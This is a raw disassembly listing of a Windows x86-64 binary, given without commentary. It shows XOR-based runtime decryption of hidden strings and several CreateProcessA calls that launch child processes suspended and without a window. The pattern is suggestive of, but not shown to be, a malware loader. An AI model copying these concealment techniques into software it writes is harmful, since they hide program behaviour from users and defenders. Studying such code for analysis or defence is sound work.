mov byte [rax], 0
lea rdx, [rbp - 0x58]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14000e873
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e86d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e86d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14000e8b1
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e8ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e8ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
movdqa xmm0, xmmword [0x14009f7c0]
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x948
mov eax, dword [rcx + rdi]
mov ebx, 0x7f0
add rbx, rdi
test al, 1
jne 0x14000e91c
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rbp + 0x2f0]
cmp rbx, rcx
ja 0x14000e908
lea rcx, [rbp + 0x2e0]
cmp rax, rcx
jb 0x14000e908
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x13
jmp 0x14000e90f
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x13
lea rcx, [0x14008ff00]
call fcn.14007df40
nop
cmp byte [rbx + 0x11], 0
je 0x14000e969
xor byte [rbx], 0x13
xor byte [rbx + 1], 0xfb
xor byte [rbx + 2], 0x43
xor byte [rbx + 3], 0xe9
xor byte [rbx + 4], 0xb3
xor byte [rbx + 5], 0x2b
xor byte [rbx + 6], 0x2f
xor byte [rbx + 7], 0xa1
xor byte [rbx + 8], 0x13
xor byte [rbx + 9], 0xfb
xor byte [rbx + 0xa], 0x43
xor byte [rbx + 0xb], 0xe9
xor byte [rbx + 0xc], 0xb3
xor byte [rbx + 0xd], 0x2b
xor byte [rbx + 0xe], 0x2f
xor byte [rbx + 0xf], 0xa1
xor byte [rbx + 0x10], 0x13
mov byte [rbx + 0x11], 0
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e970
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x374], xmm0
movups xmmword [rbp + 0x384], xmm0
movups xmmword [rbp + 0x394], xmm0
movups xmmword [rbp + 0x3a4], xmm0
movups xmmword [rbp + 0x3b4], xmm0
movups xmmword [rbp + 0x3c4], xmm0
mov dword [rbp + 0x3d4], eax
mov dword [rbp + 0x370], 0x68
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x304], xmm1
movups xmmword [rbp + 0x314], xmm1
movups xmmword [rbp + 0x324], xmm1
movups xmmword [rbp + 0x334], xmm1
movups xmmword [rbp + 0x344], xmm1
movups xmmword [rbp + 0x354], xmm1
mov dword [rbp + 0x364], eax
mov dword [rbp + 0x300], 0x68
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], rax
movdqa xmm0, xmmword [0x14009fe10]
mov dword [rbp + 0x188], 0xbc915a46
mov dword [rbp + 0x18c], 0x939132d5
mov ecx, 0x740
mov eax, dword [rcx + rdi]
mov edx, 0x8b8
test al, 1
jne 0x14000eaa9
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x18], 1
lea rax, [rbx + 0x17]
lea rcx, [rbp + 0x18f]
cmp rbx, rcx
ja 0x14000ea8a
lea rcx, [rbp + 0x178]
cmp rax, rcx
jb 0x14000ea8a
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x188]
movsd qword [rbx + 0x10], xmm0
jmp 0x14000ea9a
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x188]
movsd qword [rbx + 0x10], xmm0
lea rcx, [0x14008fee0]
call fcn.14007df40
nop
jmp 0x14000eaad
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x18], 0
je 0x14000eb13
xor byte [rbx], 0x27
xor byte [rbx + 1], 0x2f
not byte [rbx + 2]
xor byte [rbx + 3], 0xdf
xor byte [rbx + 4], 0xbd
xor byte [rbx + 5], 0x57
xor byte [rbx + 6], 0xe3
xor byte [rbx + 7], 0x93
xor byte [rbx + 8], 0x27
xor byte [rbx + 9], 0x2f
not byte [rbx + 0xa]
xor byte [rbx + 0xb], 0xdf
xor byte [rbx + 0xc], 0xbd
xor byte [rbx + 0xd], 0x57
xor byte [rbx + 0xe], 0xe3
xor byte [rbx + 0xf], 0x93
xor byte [rbx + 0x10], 0x27
xor byte [rbx + 0x11], 0x2f
not byte [rbx + 0x12]
xor byte [rbx + 0x13], 0xdf
xor byte [rbx + 0x14], 0xbd
xor byte [rbx + 0x15], 0x57
xor byte [rbx + 0x16], 0xe3
xor byte [rbx + 0x17], 0x93
mov byte [rbx + 0x18], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000eb25
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.1400097b0
nop
lea rdx, [rbp + 0x10]
mov r14, qword [rsp + 0x50]
mov rcx, r14
call fcn.140006eb0
cmp byte [rax], 4
jne 0x14000fd8d
movzx ebx, byte [rax + 8]
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14000eb95
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eb90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f252
call fcn.14007de64
test bl, bl
je 0x14000ede0
movdqa xmm0, xmmword [0x14009ee20]
movdqa xmm1, xmmword [0x14009eed0]
movdqa xmm2, xmmword [0x14009f020]
mov word [rbp + 0x2a8], 0xd538
mov ecx, 0x84c
mov eax, dword [rcx + rdi]
mov edx, 0x760
test al, 1
jne 0x14000ec36
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x32], 1
lea rax, [rbx + 0x31]
lea rcx, [rbp + 0x2a9]
cmp rbx, rcx
ja 0x14000ec11
lea rcx, [rbp + 0x278]
cmp rax, rcx
jb 0x14000ec11
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
movzx eax, word [rbp + 0x2a8]
mov word [rbx + 0x30], ax
jmp 0x14000ec27
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
movzx eax, word [rbp + 0x2a8]
mov word [rbx + 0x30], ax
lea rcx, [0x14008feb0]
call fcn.14007df40
nop
jmp 0x14000ec3a
lea rbx, [rdi + rdx]
mov rcx, rbx
call fcn.140010280
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000ec54
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.1400097b0
nop
lea r8, [rbp + 0xe0]
cmp r13, 0x10
cmovae r8, qword [rbp + 0xe0]
mov r9, r15
xor edx, edx
lea rcx, [rbp - 0x10]
call fcn.14000a9c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x168], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x158], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x168], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x158]
cmp qword [rbp + 0x170], 0x10
cmovae rdx, qword [rbp + 0x158]
lea rax, [rbp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x14000ed5f
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ed5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ed5a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
movdqa xmm0, xmmword [0x14009e4b0]
movdqu xmmword [rbp + 0x168], xmm0
mov byte [rbp + 0x158], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000edb4
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000edaf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000edaf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
test ebx, ebx
je 0x14000edd2
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rbp + 0xf0]
mov r13, qword [rbp + 0xf8]
movdqa xmm0, xmmword [0x14009e790]
mov word [rbp + 0x1e8], 0xaadc
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x80c
mov eax, dword [rdx + rcx]
mov ebx, 0x748
add rbx, rcx
test al, 1
jne 0x14000ee6a
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x13], 1
lea rax, [rbx + 0x12]
lea rcx, [rbp + 0x1ea]
cmp rbx, rcx
ja 0x14000ee4b
lea rcx, [rbp + 0x1d8]
cmp rax, rcx
jb 0x14000ee4b
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1e8]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x5f
jmp 0x14000ee5d
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1e8]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x5f
lea rcx, [0x14008fe80]
call fcn.14007df40
nop
cmp byte [rbx + 0x13], 0
je 0x14000eebf
xor byte [rbx], 0xbd
xor byte [rbx + 1], 0xc9
xor byte [rbx + 2], 0x5f
xor byte [rbx + 3], 0x7b
xor byte [rbx + 4], 0xcd
xor byte [rbx + 5], 0x1d
xor byte [rbx + 6], 0xad
xor byte [rbx + 7], 0x7f
xor byte [rbx + 8], 0xbd
xor byte [rbx + 9], 0xc9
xor byte [rbx + 0xa], 0x5f
xor byte [rbx + 0xb], 0x7b
xor byte [rbx + 0xc], 0xcd
xor byte [rbx + 0xd], 0x1d
xor byte [rbx + 0xe], 0xad
xor byte [rbx + 0xf], 0x7f
xor byte [rbx + 0x10], 0xbd
xor byte [rbx + 0x11], 0xc9
xor byte [rbx + 0x12], 0x5f
mov byte [rbx + 0x13], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000eed1
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.1400097b0
nop
lea rdx, [rbp - 0x10]
mov rcx, r14
call fcn.140006eb0
cmp byte [rax], 4
jne 0x14000fdcb
movzx ebx, byte [rax + 8]
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000ef3c
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ef37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f252
call fcn.14007de64
test bl, bl
je 0x14000f109
call fcn.14000ff20
mov r9, rax
cmp byte [rax + 0x43], 0
je 0x14000ef81
mov rdx, r12
movabs r8, 0x7393dc74711e7eb
nop
movzx ecx, dl
and cl, 7
shl cl, 3
mov rax, r8
shr rax, cl
xor byte [rdx + r9], al
inc rdx
cmp rdx, 0x43
jb 0x14000ef60
mov byte [r9 + 0x43], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
mov r8, rsi
inc r8
cmp byte [r9 + r8], 0
jne 0x14000ef93
mov rdx, r9
lea rcx, [rbp - 0x30]
call fcn.1400097b0
nop
lea r8, [rbp + 0xe0]
cmp r13, 0x10
cmovae r8, qword [rbp + 0xe0]
mov r9, r15
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.14000a9c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
lea rax, [rbp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000f08c
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f087
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f087
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
movdqa xmm0, xmmword [0x14009e4b0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000f0dd
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f0d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f0d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
test ebx, ebx
je 0x14000f0fb
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rbp + 0xf0]
mov r13, qword [rbp + 0xf8]
movdqa xmm0, xmmword [0x14009e800]
mov word [rbp + 0x1d0], 0x9154
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x5c4
mov eax, dword [rdx + rcx]
mov ebx, 0x640
add rbx, rcx
test al, 1
jne 0x14000f18b
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x12], 1
lea rax, [rbx + 0x11]
lea rcx, [rbp + 0x1d1]
cmp rbx, rcx
ja 0x14000f170
lea rcx, [rbp + 0x1c0]
cmp rax, rcx
jb 0x14000f170
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1d0]
mov word [rbx + 0x10], ax
jmp 0x14000f17e
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1d0]
mov word [rbx + 0x10], ax
lea rcx, [0x14008fe30]
call fcn.14007df40
nop
cmp byte [rbx + 0x12], 0
je 0x14000f1dc
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x91
xor byte [rbx + 2], 0xf1
xor byte [rbx + 3], 0x9d
xor byte [rbx + 4], 0x49
xor byte [rbx + 5], 0x49
xor byte [rbx + 6], 0xbd
xor byte [rbx + 7], 0x7d
xor byte [rbx + 8], 0x31
xor byte [rbx + 9], 0x91
xor byte [rbx + 0xa], 0xf1
xor byte [rbx + 0xb], 0x9d
xor byte [rbx + 0xc], 0x49
xor byte [rbx + 0xd], 0x49
xor byte [rbx + 0xe], 0xbd
xor byte [rbx + 0xf], 0x7d
xor byte [rbx + 0x10], 0x31
xor byte [rbx + 0x11], 0x91
mov byte [rbx + 0x12], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
mov r8, rsi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14000f1f0
mov rdx, rbx
lea rcx, [rbp - 0x30]
call fcn.1400097b0
nop
lea rdx, [rbp - 0x30]
mov rcx, r14
call fcn.140006eb0
cmp byte [rax], 4
jne 0x14000fcfe
movzx ebx, byte [rax + 8]
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000f25e
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f259
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f259
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
test bl, bl
je 0x14000f3e9
call fcn.140010010
mov rcx, rax
call fcn.140010160
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14000f285
mov rdx, rcx
lea rcx, [rbp + 0x30]
call fcn.1400097b0
nop
lea r8, [rbp + 0xe0]
cmp r13, 0x10
cmovae r8, qword [rbp + 0xe0]
mov r9, r15
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.14000a9c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
lea rax, [rbp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14000f375
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f370
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f370
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
movdqa xmm0, xmmword [0x14009e4b0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14000f3c4
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f3bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f3bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
test ebx, ebx
je 0x14000f3e2
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rbp + 0xf8]
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x370]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000f7df
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r14, qword [rsp + 0x78]
mov rdx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14000f462
mov rdx, qword [r14]
mov ecx, dword [rbp + 0xb0]
call fcn.14001f5a0
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x14009e840]
mov dword [rbp + 0x1a0], 0xe3877319
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x620
mov eax, dword [rcx + rdi]
mov ebx, 0x6d0
add rbx, rdi
test al, 1
jne 0x14000f4fb
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x15], 1
lea rax, [rbx + 0x14]
lea rcx, [rbp + 0x1a4]
cmp rbx, rcx
ja 0x14000f4de
lea rcx, [rbp + 0x190]
cmp rax, rcx
jb 0x14000f4de
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x1a0]
mov dword [rbx + 0x10], eax
mov byte [rbx + 0x14], 0xb3
jmp 0x14000f4ee
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x1a0]
mov dword [rbx + 0x10], eax
mov byte [rbx + 0x14], 0xb3
lea rcx, [0x14008fde0]
call fcn.14007df40
nop
cmp byte [rbx + 0x15], 0
je 0x14000f558
xor byte [rbx], 0x37
xor byte [rbx + 1], 0x17
xor byte [rbx + 2], 0xeb
xor byte [rbx + 3], 0x8f
xor byte [rbx + 4], 0xb3
xor byte [rbx + 5], 0x3f
xor byte [rbx + 6], 0xc1
xor byte [rbx + 7], 0x4d
xor byte [rbx + 8], 0x37
xor byte [rbx + 9], 0x17
xor byte [rbx + 0xa], 0xeb
xor byte [rbx + 0xb], 0x8f
xor byte [rbx + 0xc], 0xb3
xor byte [rbx + 0xd], 0x3f
xor byte [rbx + 0xe], 0xc1
xor byte [rbx + 0xf], 0x4d
xor byte [rbx + 0x10], 0x37
xor byte [rbx + 0x11], 0x17
xor byte [rbx + 0x12], 0xeb
xor byte [rbx + 0x13], 0x8f
xor byte [rbx + 0x14], 0xb3
mov byte [rbx + 0x15], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140008eb0
lea rdx, [0x140009080]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [0x1400bf578]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008eb0
mov rsi, rax
movdqa xmm0, xmmword [0x14009fcb0]
mov dword [rbp + 0x110], 0x7ccb4e5e
mov dword [rbp + 0x114], 0xbb138acf
mov dword [rbp + 0x118], 0x1fcb545a
mov ecx, 0x930
mov eax, dword [rcx + rdi]
mov edx, 0x7b0
test al, 1
jne 0x14000f647
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x1c], 1
lea rax, [rbx + 0x1b]
lea rcx, [rbp + 0x11b]
cmp rbx, rcx
ja 0x14000f61f
lea rcx, [rbp + 0x100]
cmp rax, rcx
jb 0x14000f61f
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x110]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x118]
mov dword [rbx + 0x18], eax
jmp 0x14000f638
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x110]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x118]
mov dword [rbx + 0x18], eax
lea rcx, [0x14008fdb0]
call fcn.14007df40
nop
jmp 0x14000f64b
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x1c], 0
je 0x14000f6c4
xor byte [rbx], 0x3f
xor byte [rbx + 1], 0x3b
xor byte [rbx + 2], 0xa5
xor byte [rbx + 3], 0x1f
xor byte [rbx + 4], 0xa7
xor byte [rbx + 5], 0xef
xor byte [rbx + 6], 0x77
xor byte [rbx + 7], 0x9b
xor byte [rbx + 8], 0x3f
xor byte [rbx + 9], 0x3b
xor byte [rbx + 0xa], 0xa5
xor byte [rbx + 0xb], 0x1f
xor byte [rbx + 0xc], 0xa7
xor byte [rbx + 0xd], 0xef
xor byte [rbx + 0xe], 0x77
xor byte [rbx + 0xf], 0x9b
xor byte [rbx + 0x10], 0x3f
xor byte [rbx + 0x11], 0x3b
xor byte [rbx + 0x12], 0xa5
xor byte [rbx + 0x13], 0x1f
xor byte [rbx + 0x14], 0xa7
xor byte [rbx + 0x15], 0xef
xor byte [rbx + 0x16], 0x77
xor byte [rbx + 0x17], 0x9b
xor byte [rbx + 0x18], 0x3f
xor byte [rbx + 0x19], 0x3b
xor byte [rbx + 0x1a], 0xa5
xor byte [rbx + 0x1b], 0x1f
mov byte [rbx + 0x1c], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140008eb0
mov rdx, qword [0x1400bf588]
mov rcx, rax
call fcn.140008eb0
lea rdx, [0x140009080]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x14000f733
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f72e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f72e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
cmp r13, 0x10
jb 0x14000f78b
lea rdx, [r13 + 1]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f785
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f785
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
nop
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x14000f7c1
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x14000f7bc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f7d8
mov rcx, r8
call fcn.14007de64
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
xor eax, eax
jmp 0x14000fcd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x158]
call fcn.140020770
nop
lea rax, [rsp + 0x58]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor eax, eax
mov qword [rsp + 0x60], rax
movzx edx, byte [rsp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.1400083d0
